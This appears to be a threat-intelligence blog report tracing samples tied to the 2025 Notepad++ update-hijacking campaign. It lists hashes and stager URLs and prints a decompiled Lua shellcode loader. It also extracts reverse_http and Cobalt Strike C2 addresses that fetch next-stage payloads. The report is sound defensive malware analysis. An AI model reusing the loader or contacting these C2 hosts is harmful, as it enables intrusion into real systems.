Notepad++ supply chain attack related samples
In this report, we use our Kaibou Search Services to find related samples to the Notepad++ supply chain attack that happened between 2025-06 and 2025-12. During the analysis we uncover 14 new similar samples and 11 new stager URLs related to the threat actor.
If you are already familiar with the attack, skip to our contribution.
Attack overview #
On October 23, 2025 a Notepad++ user reported suspicious activity related to the automatic update or Notepad++. The acivity involved acquiring information about the host system and uploading it to https://temp.sh, a file storage provider.

Up until December 9, 2025, more Notepad++ users reported that some update requests were redirected to external servers and trojanized executables were downloaded to their systems. This could be done because the update mechanism didn't verify cryptographic signatures on the downloaded binaries, so a Man-in-the-Middle (MitM) attacker in the right place could serve any file they wanted. On December 1, certificate verification was added to the update mechanism (wingup commit, Notepad++ commit).
February 2, 2026 Don Ho, the main author of Notepad++ published a blogpost about the security incidents happening between June and December 2025.
As per the excellent overview from Costin Raiu, the attackers leveraged the shared hosting infrastructure at Hostinger to attack Notepad++ specifically. They probably compromised another site, hosted on the same server to execute code, then utilized an exploit (maybe CVE-2025-6018) to elevate their privileges, maybe modify the Notepad++ update script (https://notepad-plus-plus.org/update/getDownloadUrl.php) to redirect users to attacker controlled domains. A good illustration about the network traffic is shown in the followup blog by Kenneth Kinion and Elliot Roe from Validin. On 2025-09-02 Hostinger updated the kernel and firmware of the server and so the original attack vector was eliminated. But the attackers could still meddle with the notepad++ update traffic, probably through suo5 PHP tunnels.
Based on techniques used during the attack the events are attributed to a Chinese APT group, Lotus Blossom. The information so far suggests that they first fingerprinted many compromised hosts with netstat, systeminfo, tasklist and whoami commands and later decided what hosts are worth infecting further. Too many infections increase the risk of discovery.
Samples included in the attacks #
The first analysis report was published by Ivan Feigl from Rapid7, it's an excellent, detailed deep-dive into the samples they analyzed, including Chrysalis backdoor. The following day, Georgy Kucherin and Anton Kargin from Kaspersky published a blog post about what they saw in their telemetry. We highly encourage everyone to read both reports for in depth understanding of the execution chains.

The Rapid7 report corresponds to Chain 3 in the Kaspersky blog.
Hostinger also published a short blog about the attack. Additional IoCs have been added to notepad++ site on 2026-02-05. This contains some IP addresses, HTTP User Agents and a few PHP files and their hashes. None of these are available in public databases.

Hunting for similar samples in Kaibou Search Services #
Let's try to expand on the known samples using our malware repository. We'll follow Kaspersky's order of chains. For every sample we'll check if they are available in our database. For this, we only need an MD5, SHA1 or SHA256 hash. SHA256 is used in Rapid7 report, SHA1 is used in Kaspersky. In order to perform similarity search to a sample, we need it's TLSH digest. This is almost never published in reports, so we need to obtain it from other sources (e.g. VirusTotal, MalwareBazaar or our database, Kaibou).
We use the following abbrevations:
- VT = VirusTotal
- KTIP = Kaspersky Threar Intelligence Portal
- KSS = Kaibou Search Services
012345...abcdef= SHA256 hash that begins with012345and ends withabcdef
Chain 1 #
update.exe 1
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 8e6e505438c21f3d281e1cc257abdbf7223b7f5a |
| SHA256 | 36c98c18215a244e501673d9f01fa093d1906d08a7ad9927905f8f004640e4e1 |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2025-07-31 05:22:00+00:00 |
| Size | 1141401 |
| Source | Kaspersky |
| Description | NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains benign ProShow software with exploit code in file named load. |
update.exe 2
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 90e677d7ff5844407b9c073e3b7e896e078e11cd |
| SHA256 | 51266007c039ab80dbe9a2c38ed75759d954458d8864a0429c71e87be2bddce2 |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2025-08-05 03:59:00+00:00 |
| Size | 1141401 |
| Source | Kaspersky |
| Description | NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains benign ProShow software with exploit code in file named load with modified C2 |
load 1
| Attribute | Value |
|---|---|
| Name | load |
| SHA1 | 06a6a5a39193075734a32e0235bde0e979c27228 |
| SHA256 | c7cc87ef3829a33b7f178d88a71ba548c37020005b09d16a76fcd356621335e6 |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2026-02-03 06:51:00+00:00 |
| Size | 15000 |
| Source | Kaspersky |
| Description | Exploit payload for ProShow |
load 2
| Attribute | Value |
|---|---|
| Name | load |
| SHA1 | 9c3ba38890ed984a25abb6a094b5dbf052f22fa7 |
| SHA256 | 26256ea1a345b788dd303f5621b5028cf572b733793039c8ee1e5c481113bd09 |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2026-02-03 06:47:00+00:00 |
| Size | 15000 |
| Source | Kaspersky |
| Description | Exploit payload for ProShow |
As none of the samples are in our database or VT and Kaspersky doesn't use TLSH hashes, we cannot search for these. π€·
Chain 2 #
update.exe 3
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 573549869e84544e3ef253bdba79851dcde4963a |
| SHA256 | 69caa18ec5e86cf3a7376f3a9a08d118cbade608432dc262ba6c7fe692da7d33 |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2025-09-16 06:13:00+00:00 |
| Size | 137955 |
| Source | Kaspersky |
| Description | NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader. |
update.exe 4
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 13179c8f19fbf3d8473c49983a199e6cb4f318f0 |
| SHA256 | a3cf1c86731703043b3614e085b9c8c224d4125370f420ad031ad63c14d6c3ec |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2025-09-18 21:40:00+00:00 |
| Size | 137969 |
| Source | Kaspersky |
| Description | NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader. |
update.exe 5
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 4c9aac447bf732acc97992290aa7a187b967ee2c |
| SHA256 | 798fd7c2a2d4f0865aec808962489b39f995961e38e2bebda8f84ddc5a935d86 |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2025-09-24 05:15:00+00:00 |
| Size | 137967 |
| Source | Kaspersky |
| Description | NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader. |
update.exe 6 return
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 821c0cafb2aab0f063ef7e313f64313fc81d46cd |
| SHA256 | 4d4aec6120290e21778c1b14c94aa6ebff3b0816fb6798495dc2eae165db4566 |
| TLSH | 48E302277FE0C673FC9A0B701E365F6396BBD5142421CB0B83909A45FA21785DE662F2 |
| KSS upload | 2025-10-20 00:10:23+00:00 |
| VT upload | - |
| KTIP upload | 2025-10-17 08:17:00+00:00 |
| Size | 153023 |
| Source | Kaspersky |
| Description | NSIS installer downloaded from http://95.179.213[.]0/update/update.exe, contains LUA downloader. |
Finally, the 6th update.exe, the October 2025 version of Chain 2 is available in our database. Similarity search results in 2 additional samples.

First similar sample to update.exe 6 return
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | 26b72c28cc35552e9cf0c2939d5d595b2654e935 |
| SHA256 | cd88f47f6753d1e446e411fc4cb7a7a324adcd4ceb505aa1c8aee03aa951d681 |
| TLSH | 5CE302277FE0C673FC9A0A701E365F6396BBD5142421CB0B83909A45FA21785DE662F2 |
| KSS upload | 2026-02-05 10:10:08+00:00 |
| VT upload | 2026-02-06 05:05:08+00:00 |
| KTIP upload | 2026-02-05 03:56:00+00:00 |
| Size | 153023 |
| Source | Ukatemi |
| Description | Similar sample to 4d4aec...db4566 |

As mentioned in the Kaspersky report lua5.1.dll, script.exe and alien.dll are legitimate and alien.ini contains a LUA 5.1 compiled script. The first 64 bytes of the file look like this, it is indeed LUA 5.1, so we can decompile it with luadec:
00000000: 1b4c 7561 5100 0104 0404 0800 2700 0000 .LuaQ.......'...
00000010: 4043 3a5c 5573 6572 735c 4a6f 686e 5c44 @C:\Users\John\D
00000020: 6573 6b74 6f70 5c77 6c75 615c 6f75 7470 esktop\wlua\outp
00000030: 7574 2e6c 7561 0000 0000 0000 0000 0000 ut.lua..........
scc = ""
package.cpath = "./?.dll"
core = require("alien.core")
k32 = (core.load)("Kern" .. "el32")
u32 = (core.load)("Use" .. "r32")
len = (string.len)(scc)
va = k32.VirtualAlloc
vl = k32.VirtualLock
rmm = k32.RtlMoveMemory
es = u32.EnumWindowStationsW
va:types({"int", "int", "int", "int"; ret = "int", abi = "stdcall"})
vl:types({"int", "int"; ret = "int", abi = "stdcall"})
rmm:types({"int", "string", "int"; ret = "int", abi = "stdcall"})
es:types({"int", "int"; ret = "int", abi = "stdcall"})
ptr = va(0, len, 12288, 64)
vl(ptr, len)
rmm(ptr, scc, len)
es(ptr, 0)
The decompiled code just loads a shellcode to memory and calls User32:EnumWindowStationsW(scc, 0). As per the Microsoft docs, the first argument is a EnumWindowStationProc callback function. The shellcode itself is most likely an msfvenom windows/custom/reverse_http 32-bit payload (source code reverse_http.rb) that uses Wininet to download the next stage.


Extracting the LHOST, LPORT, LURI and HTTP headers from the payload is fairly easy. These values match the ones for September-October chain 2.
{
"path": "/help/Get-Start",
"http_headers": [
"Accept: */*",
"Accept-Language: en-US,en;q=0.5",
"Connection: close",
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
],
"domain": "safe-dns.it.com",
"port": 443,
"protocol": "https"
}
NSIS installer also sets the creation date for extracted files. We can deduct, that the first LUA-based archive was probably constructed at 2025-08-18 07:59:14+01:00 because the lua5.1.dll probably didn't change across versions, just the alien.ini payload did. This payload was created at 2025-09-22 09:25:48+01:00.
Name Length CreationTime LastWriteTime LastAccessTime
---- ------ ------------ ------------- --------------
a.txt 16901 2026. 02. 09. 19:16:13 2026. 02. 09. 19:16:16 2026. 02. 09. 19:16:16
alien.dll 26112 2018. 01. 30. 19:27:40 2018. 01. 30. 19:27:40 2026. 02. 09. 19:16:28
alien.ini 2093 2025. 09. 22. 9:25:48 2025. 09. 22. 9:25:48 2026. 02. 09. 19:16:28
lua5.1.dll 163840 2025. 08. 18. 7:59:14 2025. 08. 18. 7:59:14 2026. 02. 09. 19:16:28
script.exe 45056 2025. 08. 18. 7:58:32 2025. 08. 18. 7:58:32 2026. 02. 09. 19:16:27
alien.ini (from cd88f4...51d681)
| Attribute | Value |
|---|---|
| Name | alien.ini |
| SHA1 | 0d0f315fd8cf408a483f8e2dd1e69422629ed9fd |
| SHA256 | 8e7a15c402b4f34b57185e07718cd6511a39a66045792174d21d832d17db2204 |
| TLSH | 7D417567DAB61E10E8355838C7AF430104080ACDFDA21E936F19F53071A70A8FDA91E5 |
| KSS upload | - |
| VT upload | - |
| KTIP upload | 2026-02-03 06:33:00+00:00 |
| Size | 2093 |
| Source | Ukatemi |
| Description | Compiled LUA payload (from cd88f4...51d681) |
Second similar sample to update.exe 6 return
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | c7b2d5933b96e3e99201ca34bee866cfb299db88 |
| SHA256 | 33e66004447f988f896d3d16efae7cf04bbdd7057272a6ff63daa60af5f2a19d |
| TLSH | 50E302277FE0C573FC9A0E711E365F2396BBD9142820CF0B43909A45FA15786CE666B2 |
| KSS upload | 2026-02-05 10:10:08+00:00 |
| VT upload | 2026-02-06 04:54:49+00:00 |
| KTIP upload | 2026-02-05 03:58:00+00:00 |
| Size | 153064 |
| Source | Ukatemi |
| Description | Similar sample to 4d4aec...db4566 |
alien.ini (from 33e660...f2a19d)
| Attribute | Value |
|---|---|
| SHA1 | 13d0bb84d261802c5ef5488dfcc448a1987bb83a |
| SHA256 | 1de73eb2dd620dccfc757e4afcf0f58141e441c21b72c3adfe087c309e79bfed |
| TLSH | T1D3417457D2B65E20EA605435CB5B030201094BCCFED11F17AFA9F52052B7178BEBA6AA |
| KSS Upload | - |
| VT Upload | - |
| KTIP Upload | - |
| Size | 2193 |
| Source | Ukatemi |
| Description | Compiled LUA payload (from 33e660...f2a19d) |
This sample drops the same LUA components as all other samples using LUA, except for the script payload alien.ini. The decompiled LUA codes only differ in a single line, that sets the library search path:
< package.cpath = "./?.dll"
---
> package.cpath = (arg[0]):match(".*\\") .. "?.dll;" .. package.cpath
The contained shellcode is exactly the same as in the previous similar version:
6b780cf1def14589f7b9d5835f05d24fa2443b6524851f386ec3c9379af68cc6 ./33e660_shellcode
6b780cf1def14589f7b9d5835f05d24fa2443b6524851f386ec3c9379af68cc6 ./cd88f4_shellcode
The timestamps of the legitimate files are the same as before, but here alien.ini was created 1 month later, than the previous one, at 2025-10-21 07:54:40+01:00.
Name Length CreationTime LastWriteTime LastAccessTime
---- ------ ------------ ------------- --------------
a.txt 17349 2026. 02. 09. 19:00:02 2026. 02. 09. 19:00:04 2026. 02. 09. 19:00:04
alien.dll 26112 2018. 01. 30. 19:27:40 2018. 01. 30. 19:27:40 2026. 02. 09. 19:00:16
alien.ini 2193 2025. 10. 21. 7:54:40 2025. 10. 21. 7:54:40 2026. 02. 09. 19:00:17
lua5.1.dll 163840 2025. 08. 18. 7:59:14 2025. 08. 18. 7:59:14 2026. 02. 09. 19:00:16
script.exe 45056 2025. 08. 18. 7:58:32 2025. 08. 18. 7:58:32 2026. 02. 09. 19:00:16
Chain 3 #
update.exe 7
| Attribute | Value |
|---|---|
| Name | update.exe |
| SHA1 | d7ffd7b588880cf61b603346a3557e7cce648c93 |
| SHA256 | a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9 |
| TLSH | 19E423255AB1C035C766233F2DB23367DBF680252ACC552743243FFA74966E7228FA94 |
| KSS upload | - |
| VT upload | 2025-10-22 21:49:28+00:00 |
| KTIP upload | 2025-10-06 05:45:00+00:00 |
| Size | 697145 |
| Source | Rapid7 |
| Description | NSIS installer downloaded from http://45.32.144.255/update/update.exe, contains BluetoothService.exe, log.dll and BluetoothService |
There are no similar samples to this one in our database.
log.dll
| Attribute | Value |
|---|---|
| Name | log.dll |
| SHA1 | f7910d943a013eede24ac89d6388c1b98f8b3717 |
| SHA256 | 3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad |
| TLSH | 93835A01B5A1C175E9BE19354428DA754B3EB910DEE1DEAB7789067E4F302C2EE30D2B |
| KSS upload | 2025-10-10 19:15:35+00:00 |
| VT upload | 2025-10-22 21:50:24+00:00 |
| KTIP upload | 2025-12-03 04:41:00+00:00 |
| Size | 85504 |
| Source | Rapid7 |
| Description | Malicious DLL sideloaded by BluetoothService.exe, exporting LogInit, LogWrite |
Similarity search to log.dll with a threshold of 40 resulted in 89733 similar files. 430 of these were uploaded into Kaibou later than 2025-06-01.
After some manual analysis we found that the similarity comes from the CRT functions. They occupy most part of the binary. The actual functions written by the authors occupy much smaller space in the binary. So while the binary similarity (that TLSH tries to detect) is correct, none of the samples have similar functionality.
Similarity searching for the encrypted shellcode (BluetoothService) is useless as it has 7.999 entropy.
Rapid7 found additional malicious files on the infected server under C:\ProgramData\USOShared directory. conf.c contained a small shellcode loader that downloads and executes the next stage. The shellcode loads Wininet.dll using LoadLibraryA, and uses InternetConnectA and HttpSendRequestA from it to download a file from a specific host with custom headers. The next stage was a Cobalt Strike Beacon.

The loader samples below were found by Rapid7 in public databases and are similar to the one observed during the incident.
loader sample details
| Attribute | Value |
|---|---|
| Name | loader 1 |
| SHA1 | c68d09dd50e357fd3de17a70b7724f8949441d77 |
| SHA256 | 0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd |
| TLSH | A334E677AB30115DDD2C1974EDB344C518E6EEA0881542FF379F3E188A3D892B9A6E07 |
| KSS upload | 2025-05-08 01:57:07+00:00 |
| VT upload | 2025-05-07 08:12:59+00:00 |
| KTIP upload | 2026-02-02 16:00:00+00:00 |
| Size | 233472 |
| Source | Rapid7 |
| Description | Loader 1 found in public malware repositories similar to loader compiled from conf.c |
| Attribute | Value |
|---|---|
| Name | loader 2 |
| SHA1 | 9fbf2195dee991b1e5a727fd51391dcc2d7a4b16 |
| SHA256 | e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda |
| TLSH | 9A82E73BE31348FDC916D67496FB6B32BCB23D6345A1573D1360D2F51E21AA02DAEA10 |
| KSS upload | 2025-06-11 14:57:38+00:00 |
| VT upload | 2025-06-09 07:09:33+00:00 |
| KTIP upload | 2025-06-09 01:14:00+00:00 |
| Size | 18944 |
| Source | Rapid7 |
| Description | Loader 2 found in public malware repositories similar to loader compiled from conf.c |
| Attribute | Value |
|---|---|
| Name | loader 3 |
| SHA1 | 3090ecf034337857f786084fb14e63354e271c5d |
| SHA256 | b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3 |
| TLSH | 1DB36A2B73E930F8E1768278C8914A15EB76B87647209FAF07A442561F236D18D3EF71 |
| KSS upload | - |
| VT upload | 2025-03-27 06:42:43+00:00 |
| KTIP upload | 2025-03-27 17:52:00+00:00 |
| Size | 108032 |
| Source | Rapid7 |
| Description | Loader 3 found in public malware repositories similar to loader compiled from conf.c |
| Attribute | Value |
|---|---|
| Name | loader 4 |
| SHA1 | 9c0eff4deeb626730ad6a05c85eb138df48372ce |
| SHA256 | fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a |
| TLSH | D3C3396873B9C0B9F1768278C5710A05E7FE784646209FAF03A4CE572F636918D3AF61 |
| KSS upload | 2025-11-14 20:55:06+00:00 |
| VT upload | 2025-11-14 10:27:55+00:00 |
| KTIP upload | 2025-11-14 08:50:00+00:00 |
| Size | 120416 |
| Source | Rapid7 |
| Description | Loader 4 found in public malware repositories similar to loader compiled from conf.c |

As all the loaders are available either in our database or VirusTotal, we can perform similarity searches to them. There are no additional similar samples to loaders 1 and 4.



There are 23 samples in KSS similar to loader 2 (e7cd60...1c6eda). Let's have a closer look! All of them are x64 PE files. The function at 0x401630 posts a message to the current thread and peeks it immediatelly, checking that the values arrived correctly. If they did, it checks the elapsed time after a sleep(650). These are common sandbox / emulation detection techniques. If all is well, it allocates a heap buffer, copies the encrypted shellcode to it and calls DecryptAndExecuteShellcode (at 0x401595).


Shellcode decryption is just a XOR with the fixed 4 byte global key. Then the shellcode is executed using CreateThread.

We note that the WriteModuleHandleRefAndGetProcAddress function (at 0x401563) has no effect in this sample. It would write the address of GetModuleHandleA and GetProcAddress to the shellcode at offsets from DAT_0040302c and DAT_00403030 global variables. But these are 0 in this sample. We think that this loader may be used with other shellcode payloads, that need these functions.

Of the 23 similar samples returned by KSS:
- 12 are only similar because of CRT
- 11 implement the exact same functionality with different payloads
Similar sample details
| Attribute | Value |
|---|---|
| SHA1 | 34596b4e8b539af3c6c90285a2824511b156fa19 |
| SHA256 | 055f7fce25108a9b04668161b8ec88a729ef1c488e6fb2de27c857749f241c11 |
| TLSH | 7C82C63BE31358FDC916D6B496FB66327CB2396306A1573E1330D6F51E216A02E9FA10 |
| KSS Upload | 2024-08-26 10:25:02+00:00 |
| VT Upload | 2024-08-25 02:55:53+00:00 |
| KTIP Upload | 2024-08-25 05:09:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | a7fdcb55424e8b68a94d5b9cd59c4731c5707124 |
| SHA256 | 07f24f0d1a2eb63c20c7eb2909ead1aa36681fe49fc22b8222e23a4fbd53bbeb |
| TLSH | 2682D73BE31358FCC916D67496FB6B327CB239A306A1473D2370D6F51E216A02D9EA10 |
| KSS Upload | 2024-11-25 11:37:11+00:00 |
| VT Upload | 2024-11-22 09:34:05+00:00 |
| KTIP Upload | 2024-11-22 11:27:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | d97e19ca7439952a3d448d9d7a3a8820f8939398 |
| SHA256 | 15e012d0a176409a0921ca088ce61b2be7b15c5af092315e56ef9234d31e7f90 |
| TLSH | 2E82E81BE31348FCC916D67496FB6B3278B23DA106A1473D3368D2F51F216A02DAEA11 |
| KSS Upload | 2022-03-23 16:33:30+00:00 |
| VT Upload | 2022-03-18 00:31:46+00:00 |
| KTIP Upload | 2022-03-13 23:51:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | 5562dcbb2b5dc98e4469bdd684f9dc18b43c50f7 |
| SHA256 | 7811fb7661957f1b7689bf0d69068cc39fa93cff235260ab5f35b5fd493d6ceb |
| TLSH | DA82D73BE31348FDC516D6B495FB6B327CB2799306A1573D1260D2F51F216A02E9EA10 |
| KSS Upload | 2025-09-12 23:09:13+00:00 |
| VT Upload | - |
| KTIP Upload | 2025-09-11 16:14:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | 79b0b78afadf13ef38d9d98365a296e95e368426 |
| SHA256 | b479247df50f458ba3da9107e89b37ff732a688a9aab152c82f31d41f3fb269b |
| TLSH | DE82D77BE21398FCC916D6B496FB67327CB239A306A0473D1360D1F51F216A02E9EA15 |
| KSS Upload | 2025-04-16 04:32:29+00:00 |
| VT Upload | 2025-05-01 07:25:58+00:00 |
| KTIP Upload | - |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | e180f2c7efae2151d9292510c444c575ed786410 |
| SHA256 | b76d2570f60d51bdbad3216989b3266cea7c71496a24b719a976dde620761e47 |
| TLSH | 2182D63BE31348FCC916D67495FB6A327CB2396346A1573D1360E2F51E21AA02DAEA11 |
| KSS Upload | 2024-01-10 03:08:57+00:00 |
| VT Upload | 2024-01-10 13:52:16+00:00 |
| KTIP Upload | 2024-01-09 23:38:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | c8deff347d505012aa9632ef3fcdccf492b6c104 |
| SHA256 | b99715064cf004cf3361ada06f5bb9586970e1c76ffa2b8a85cdd97b9362b707 |
| TLSH | 3B82D63BE31348FCC916D6B496FB2732BCB239A345A1573E1360D2F51F216A06D6EA11 |
| KSS Upload | 2025-05-21 04:20:30+00:00 |
| VT Upload | 2025-05-26 11:13:40+00:00 |
| KTIP Upload | 2025-05-20 11:50:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | cbb8a3208e5fb83610ac75b671cd629c6e3481fc |
| SHA256 | e5aea542ee91767b72924b3379cf0af3da6a8168686eab1621350b96bfadb0de |
| TLSH | 5C82D73BE31348FDC516D6B495FB6A327CB23DA305A1573D2370D2F51E216A02DAEA10 |
| KSS Upload | 2024-05-21 01:33:46+00:00 |
| VT Upload | 2024-05-21 08:23:44+00:00 |
| KTIP Upload | 2024-05-20 09:18:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | 03bceec136964f101f5f98ce07da9e1a566865e3 |
| SHA256 | e65e6051980701ae9bcd600fd08c7be44f8f299c8ad68d8cbddf704f9757c870 |
| TLSH | 3982D61BA31348FCC916D6B485FB6B32B8B23D5146A1473E337CD6F51F216A02D9EA11 |
| KSS Upload | 2022-07-19 18:47:57+00:00 |
| VT Upload | 2022-07-16 13:22:44+00:00 |
| KTIP Upload | 2022-07-16 11:34:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | 48681fea3928cab8b5d3c3cf997942a83b52ffb9 |
| SHA256 | eac8bc6c7c2f64026090b3168ce6637f6b20ede1c40fbbc9c41a38542ec3e888 |
| TLSH | 0782F81BE31348FDC516D6B499FB673278B2399146A0473D3378E1F51F21AB02EAEA11 |
| KSS Upload | 2024-04-09 18:10:28+00:00 |
| VT Upload | 2024-04-06 08:57:08+00:00 |
| KTIP Upload | 2024-04-06 07:12:00+00:00 |
| Size | 18944 |
| Attribute | Value |
|---|---|
| SHA1 | 922f68545356193ee2aeb39331d4e280dc0a9856 |
| SHA256 | fda438bb67c8486045b3fb43fe125a2fb18c939e9630b6d5f007a0278a07619b |
| TLSH | 3182D63BE21358FCC916D6B495FB27327CB23DA306A1573D1370D2F51E216A02EAEA15 |
| KSS Upload | 2024-09-09 02:34:54+00:00 |
| VT Upload | 2024-09-10 06:37:28+00:00 |
| KTIP Upload | 2024-09-08 09:25:00+00:00 |
| Size | 18944 |
The samples all have the same size as loader 2 from Rapid7 blog. Similarity can also be observed on their image representations with Hilbert curves.












Manual analysis of the related samples prove the similarity. For example e7cd60... (loader 2) and 055f7f... only differ in CheckSum in ImageOptionalHeader and G_SHELLCODE_LEN, G_XOR_KEY and G_ENCRYPTED_SHELLCODE global variables. As the original loader is thought to be a custom loader implementation (not a generic, available thing like Metasploit payloads or Cobalt Strike), these similar samples can point us to additional previous targets by the same attacker.
The payloads are similar msfvenom windows/x64/custom/reverse_http shellcodes using wininet functions to load the next stage, so we can extract the LHOST, LPORT, LURI and HTTP headers just like before. Their original source code is available in github metasploit-framework reverse_http_x64.rb. From the shellcodes, we extracted the following configuration:
| url / sample first seen | headers |
|---|---|
https://43.136.93.209:8443/center/user_sid2024-08-25 02:55:53+00:00 (VT) |
Accept: */*Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
http://154.8.140.211:8011/VS66V3Ez2024-11-22 09:34:05+00:00 (VT) |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
https://124.221.160.203:8876/r/www/cache/static/protocol/https/global/js/all_async_search_ef1056e.js2022-03-13 23:51:00+00:00 (KTIP) |
Accept: */*Referer: https://www.baidu.com/Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36 |
http://81.70.37.146:80/4l5C3VMo2025-09-11 16:14:00+00:00 (KTIP) |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
https://62.234.11.61:443/76kAq89b2025-04-16 04:32:29+00:00 (KSS) |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
https://154.8.140.211:4436/ndn97D812024-01-09 23:38:00+00:00 (KTIP) |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
https://62.234.11.61:443/K42qGRQQ2025-05-20 11:50:00+00:00 (KTIP) |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
http://43.138.234.160:8088/center/user_sid2024-05-20 09:18:00+00:00 (KTIP) |
Accept: */*Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
http://185.102.170.167:2002/vFSN2022-07-16 11:34:00+00:00 (KTIP) |
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) |
https://10.211.55.5:443/Kql52024-04-06 07:12:00+00:00 (KTIP) |
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 2.0.50727) |
http://62.234.11.61:443/WKmBPBG32024-09-08 09:25:00+00:00 (KTIP) |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36 |
Extracted IP addresses categorized by AS:
| IP | AS |
|---|---|
43.136.93.209154.8.140.211124.221.160.20381.70.37.14662.234.11.6143.138.234.160 |
AS 45090 ( Shenzhen Tencent Computer Systems Company Limited ) π¨π³ |
185.102.170.167 |
AS 12844 ( Bouygues Telecom SA ) π«π· |
10.211.55.5 |
private |
So if the code used for loader 2 is truly uniquely used by only this threat group (believed to be Lotus Blossom), we now know that they've been using this stager with different shellcode configurations since at least 2022-03, with the above IP addresses.
We queried all URLs with the provider parameters and hxxp[://]81.70.37.146:80/4l5C3VMo was live (at 2026-02-12 10:34:58+01:00) and returned the following file:
Sample downloaded from 81.70.37.146
| Attribute | Value |
|---|---|
| SHA1 | e52f65761ffc5b80a439aa3b9ebc47bf300e1650 |
| SHA256 | 006f0ba963a63d9b2822b139ac806dee71eb6a3382b1b1db74b5cf2e60b57a51 |
| TLSH | T1FC83D01B96F1E5074F4D53B43AA2FEEC927352B25C88F8BBB4816451DEF190470A9ACC |
| KSS Upload | - |
| VT Upload | - |
| KTIP Upload | - |
| Size | 88139 |
| Source | Ukatemi |
| Description | Stage 2 of 7811fb...3d6ceb downloader from hxxp[://]81.70.37.146:80/4l5C3VMo matching conf.c |
After analysis, we found that this is a file very similar to the one detailed in Analysis of conf.c section of Rapid7 report. In the beginning, it does the same rolling XOR-based decryption:

Decrypted stage
| Attribute | Value |
|---|---|
| SHA1 | 05637ac376c2672d5dc9aa86efcc1fb13d7d00e8 |
| SHA256 | be334153e1bfc5ba156ab6a2e6e939990f2cc2ceef553b127d423ab7c4e5d9b1 |
| TLSH | T1EB836C12E72438F6EB53A430458AE956BEDF62E38A7C1B0211A554D9FC1FB988DCCD03 |
| KSS Upload | - |
| VT Upload | - |
| KTIP Upload | - |
| Size | 88068 |
The decrypted stage contains a similar section encrypted with CRAZY XOR key. It is a Cobalt Strike (CS) HTTPS beacon with the following configuration:
http-get: 81.70.37.146/api/getBasicInfo/v1
http-post: 81.70.37.146/api/Metadata/submit
